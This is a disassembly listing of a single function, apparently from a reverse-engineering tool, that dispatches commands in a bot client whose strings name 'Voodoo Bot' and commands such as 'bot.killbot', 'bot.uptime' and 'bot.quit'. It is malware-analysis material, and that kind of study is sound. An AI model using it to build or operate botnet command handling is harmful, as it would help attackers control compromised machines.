Function at 0x140002560
Capabilities:
Create thread
Terminate process

Disassembly:
mov qword [rsp + 0x20], r9
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1b8]
sub rsp, 0x2b8
mov rax, qword [0x140013040]
xor rax, rsp
mov qword [rbp + 0x1a0], rax
mov rbx, r8
mov r14, rcx
mov qword [rsp + 0x40], rcx
xor r12d, r12d
xorps xmm0, xmm0
movups xmmword [rbp + 0x90], xmm0
movups xmmword [rbp + 0xa0], xmm0
movups xmmword [rbp + 0xb0], xmm0
movups xmmword [rbp + 0xc0], xmm0
movups xmmword [rbp + 0xd0], xmm0
movups xmmword [rbp + 0xe0], xmm0
movups xmmword [rbp + 0xf0], xmm0
movups xmmword [rbp + 0x100], xmm0
lea rcx, [rbp + 0x90]
call fcn.140008640
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x110], xmm0
movups xmmword [rbp + 0x120], xmm0
movups xmmword [rbp + 0x130], xmm0
movups xmmword [rbp + 0x140], xmm0
movups xmmword [rbp + 0x150], xmm0
movups xmmword [rbp + 0x160], xmm0
movups xmmword [rbp + 0x170], xmm0
movups xmmword [rbp + 0x180], xmm0
mov rdx, rbx
lea rcx, [rbp + 0x110]
call fcn.140008640
mov rax, qword [r14 + 0x338]
mov rbx, qword [rax]
cmp rbx, rax
je 0x140002902
lea r15, [0x140013d38]
mov r13d, 0xfe
lea r14d, [r13 + 1]
nop word [rax + rax]
inc r12d
mov rdx, qword [rbx + 0x10]
cmp qword [rdx + 0x18], 0xf
jbe 0x140002671
mov rdx, qword [rdx]
test rdx, rdx
je 0x140002690
mov rcx, qword [rbp + 0x98]
test rcx, rcx
je 0x140002690
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
jne 0x1400028ea
mov rdi, r15
mov rsi, r13
mov r10d, dword [rdi]
test r10d, r10d
je 0x1400026e7
mov rax, qword [rbx + 0x10]
mov rdx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x1400026af
mov rdx, qword [rax]
add rax, 0x20
cmp qword [rax + 0x18], 0xf
jbe 0x1400026bd
mov rax, qword [rax]
mov rcx, qword [0x140025c00]
add rcx, 0x1868
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
mov r9d, r12d
lea r8, str._cCommands_:__Command_Reference_Number__d_:___s___Description:__s__r_n
mov edx, r10d
call fcn.140004710
add rdi, 0x20
sub rsi, 1
jne 0x140002696
mov rcx, qword [rbp + 0x98]
test rcx, rcx
je 0x140002bb8
lea rdx, str.commands.list
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x140002bb8
mov rcx, qword [rbp + 0x98]
test rcx, rcx
je 0x140002afa
lea rdx, str.modules.list
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x140002afa
mov rcx, qword [rbp + 0x98]
test rcx, rcx
je 0x140002ad0
lea rdx, str.bot.killbot
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x140002ad0
mov rcx, qword [rbp + 0x98]
test rcx, rcx
je 0x140002a3d
lea rdx, str.bot.uptime
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x140002a3d
mov rcx, qword [rbp + 0x98]
test rcx, rcx
je 0x1400029d9
lea rdx, str.bot.rename
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
mov rcx, qword [rbp + 0x98]
test rcx, rcx
je 0x1400029d9
lea rdx, str.bot.about
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x1400029d9
mov rcx, qword [rbp + 0x98]
test rcx, rcx
je 0x1400027e8
lea rdx, str.bot.testone
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
jne 0x14000289a
movabs rax, 0x656e6f74736574
mov qword [rbp + 0x198], rax
mov rcx, qword [0x140025c00]
add rcx, 0xc40
lea r9, str.TestOneThread
lea r8, [rbp + 0x198]
mov edx, 1
call fcn.14000a140
mov dword [rbp + 0x54], eax
lea rax, [rbp + 0x190]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
lea r9, [rsp + 0x50]
lea r8, [0x140003a10]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
movsxd rcx, dword [rbp + 0x54]
imul rdx, rcx, 0xe8
lea rcx, [0x140015db8]
mov qword [rdx + rcx], rax
test rax, rax
je 0x14000289a
mov rdi, r15
mov rsi, r14
nop dword [rax]
mov edx, dword [rdi]
test edx, edx
je 0x140002890
mov rcx, qword [0x140025c00]
add rcx, 0x1868
lea r8, str._cLog:cThread___Test_One_Thread__r_n
call fcn.140004710
add rdi, 0x20
sub rsi, 1
jne 0x140002870
mov rcx, qword [rbp + 0x98]
test rcx, rcx
je 0x1400028b7
lea rdx, str.bot.quit
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
jne 0x1400028ea
mov rdi, r15
mov rsi, r14
nop dword [rax]
mov edx, dword [rdi]
test edx, edx
je 0x1400028e0
mov rcx, qword [0x140025c00]
add rcx, 0x1868
lea r8, str.Quitting_and_Reconnect
call fcn.140004710
add rdi, 0x20
sub rsi, 1
jne 0x1400028c0
mov rax, qword [rbx]
mov rbx, rax
mov rcx, qword [rsp + 0x40]
cmp rax, qword [rcx + 0x338]
jne 0x140002660
lea rbx, vtable.cString.0
mov qword [rbp + 0x110], rbx
mov rcx, qword [rbp + 0x118]
test rcx, rcx
je 0x14000292c
call fcn.14000c01c
mov qword [rbp + 0x118], 0
mov rcx, qword [rbp + 0x120]
test rcx, rcx
je 0x140002948
call fcn.14000c01c
mov qword [rbp + 0x120], 0
mov dword [rbp + 0x128], 0
lea rcx, [rbp + 0x130]
call fcn.140001370
nop
mov qword [rbp + 0x90], rbx
mov rcx, qword [rbp + 0x98]
test rcx, rcx
je 0x140002982
call fcn.14000c01c
mov qword [rbp + 0x98], 0
mov rcx, qword [rbp + 0xa0]
test rcx, rcx
je 0x14000299e
call fcn.14000c01c
mov qword [rbp + 0xa0], 0
mov dword [rbp + 0xa8], 0
lea rcx, [rbp + 0xb0]
call fcn.140001370
xor al, al
mov rcx, qword [rbp + 0x1a0]
xor rcx, rsp
call fcn.14000bd80
add rsp, 0x2b8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
lea rbx, [0x140013d18]
mov edx, dword [rbx]
test edx, edx
je 0x140002a06
mov rcx, qword [0x140025c00]
add rcx, 0x1868
mov r9d, 1
lea r8, str._Voodoo_Bot_ver.__d__created_by_vorteckz__r_n
call fcn.140004710
add rbx, 0x20
sub r14, 1
jne 0x1400029e0
lea rbx, vtable.cString.0
mov qword [rbp + 0x110], rbx
mov rcx, qword [rbp + 0x118]
test rcx, rcx
je 0x140002a36
call fcn.14000c01c
xor edi, edi
jmp 0x140002c6d
xor edi, edi
jmp 0x140002c74
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
mov rcx, rax
mov eax, 0x10624dd3
mul ecx
mov ebx, edx
shr ebx, 6
mov eax, 0xc22e4507
mul ebx
mov edi, edx
shr edi, 0x10
mov eax, 0x91a2b3c5
mul ebx
shr edx, 0xb
lea eax, [rdi + rdi*2]
shl eax, 3
mov r14d, edx
sub r14d, eax
imul eax, edx, 0xe10
sub ebx, eax
mov eax, 0x88888889
mul ebx
mov esi, edx
shr esi, 5
imul eax, esi, 0x3c
sub ebx, eax
nop dword [rax]
mov edx, dword [r15]
test edx, edx
je 0x140002ac1
mov rcx, qword [0x140025c00]
add rcx, 0x1868
mov dword [rsp + 0x30], ebx
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], r14d
mov r9d, edi
lea r8, str._uptime_:__d_Days__d_Hours__d_Minutes__d_Seconds_r_n
call fcn.140004710
add r15, 0x20
sub r13, 1
jne 0x140002a90
jmp 0x140002a10
mov rcx, qword [0x140025c00]
add rcx, 0x880
lea r8, str.Bot_Exiting
lea rdx, str.Bot:Main
call fcn.140002fb0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
xor edi, edi
mov r14d, edi
mov r12, qword [rsp + 0x40]
mov rax, qword [r12 + 0x348]
mov rbx, qword [rax]
cmp rbx, rax
je 0x140002c4e
nop dword [rax + rax]
inc r14d
mov rdi, r15
mov rsi, r13
nop dword [rax]
mov edx, dword [rdi]
test edx, edx
je 0x140002b8c
mov rax, qword [rbx + 0x10]
lea r9, [rax + 0x20]
cmp qword [r9 + 0x18], 0xf
jbe 0x140002b48
mov r9, qword [r9]
lea r8, [rax + 0x40]
cmp qword [r8 + 0x18], 0xf
jbe 0x140002b56
mov r8, qword [r8]
cmp qword [rax + 0x18], 0xf
jbe 0x140002b60
mov rax, qword [rax]
mov rcx, qword [0x140025c00]
add rcx, 0x1868
mov qword [rsp + 0x30], r8
mov qword [rsp + 0x28], r9
mov qword [rsp + 0x20], rax
mov r9d, r14d
lea r8, str._cCore_:__Module__d_:__s___Version:__s___Description:__s__r_n
call fcn.140004710
add rdi, 0x20
sub rsi, 1
jne 0x140002b30
lea ecx, [rsi + 0x32]
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, qword [r12 + 0x348]
jne 0x140002b20
jmp 0x140002c4c
xor edi, edi
mov r14d, edi
mov r12, qword [rsp + 0x40]
mov rax, qword [r12 + 0x338]
mov rbx, qword [rax]
cmp rbx, rax
je 0x140002c4e
inc r14d
mov rdi, r15
mov rsi, r13
nop dword [rax + rax]
mov edx, dword [rdi]
test edx, edx
je 0x140002c29
mov rax, qword [rbx + 0x10]
lea r8, [rax + 0x20]
cmp qword [r8 + 0x18], 0xf
jbe 0x140002bf8
mov r8, qword [r8]
cmp qword [rax + 0x18], 0xf
jbe 0x140002c02
mov rax, qword [rax]
mov rcx, qword [0x140025c00]
add rcx, 0x1868
mov qword [rsp + 0x28], r8
mov qword [rsp + 0x20], rax
mov r9d, r14d
lea r8, str._cCommands_:__Command_list:__d___command:__s___desc:__s__r_n
call fcn.140004710
add rdi, 0x20
sub rsi, 1
jne 0x140002be0
lea ecx, [rsi + 0x32]
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, qword [r12 + 0x338]
jne 0x140002bd2
xor edi, edi
mov rcx, qword [rbp + 0x118]
lea rbx, vtable.cString.0
test rcx, rcx
mov qword [rbp + 0x110], rbx
je 0x140002c74
call fcn.14000c01c
mov qword [rbp + 0x118], rdi
mov rcx, qword [rbp + 0x120]
test rcx, rcx
je 0x140002c8c
call fcn.14000c01c
mov qword [rbp + 0x120], rdi
mov dword [rbp + 0x128], edi
lea rcx, [rbp + 0x130]
call fcn.140001370
nop
mov rcx, qword [rbp + 0x98]
test rcx, rcx
mov qword [rbp + 0x90], rbx
je 0x140002cbe
call fcn.14000c01c
mov qword [rbp + 0x98], rdi
mov rcx, qword [rbp + 0xa0]
test rcx, rcx
je 0x140002cd6
call fcn.14000c01c
mov qword [rbp + 0xa0], rdi
mov dword [rbp + 0xa8], edi
lea rcx, [rbp + 0xb0]
call fcn.140001370
mov al, 1
jmp 0x1400029b6